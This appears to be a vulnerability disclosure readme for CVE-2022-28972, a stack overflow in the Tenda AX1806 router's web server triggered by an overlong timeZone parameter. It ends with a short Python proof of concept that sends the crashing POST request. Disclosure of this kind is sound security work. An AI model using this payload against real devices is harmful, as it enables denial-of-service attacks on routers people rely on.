Headline
CVE-2022-28972: IoT-vuln/readme.md at main · d1tto/IoT-vuln
Tenda AX1806 v1.0.0.1 was discovered to contain a stack overflow via the timeZone parameter in the function form_fast_setting_wifi_set. This vulnerability allows attackers to cause a Denial of Service (DoS).
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Overview
- The device’s official website: https://www.tenda.com.cn/product/AX1806.html
- Firmware download website: https://www.tenda.com.cn/download/detail-3306.html
Affected version
v1.0.0.1
Vulnerability details
tdhttpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the form_fast_setting_wifi_set function, which can be accessed through the URL goform/fast_setting_wifi_set.
The function takes the POST parameter timeZone, does not validate its length, and copies it directly to local variables on the stack, causing stack overflows.
PoC
Poc of Denial of Service(DoS)
import requests
data = { b"ssid": b’A’, b"timeZone": b"A"*0x100 + b":" + b"A"*0x400 } res = requests.post("http://127.0.0.1/goform/fast_setting_wifi_set", data=data) print(res.content)
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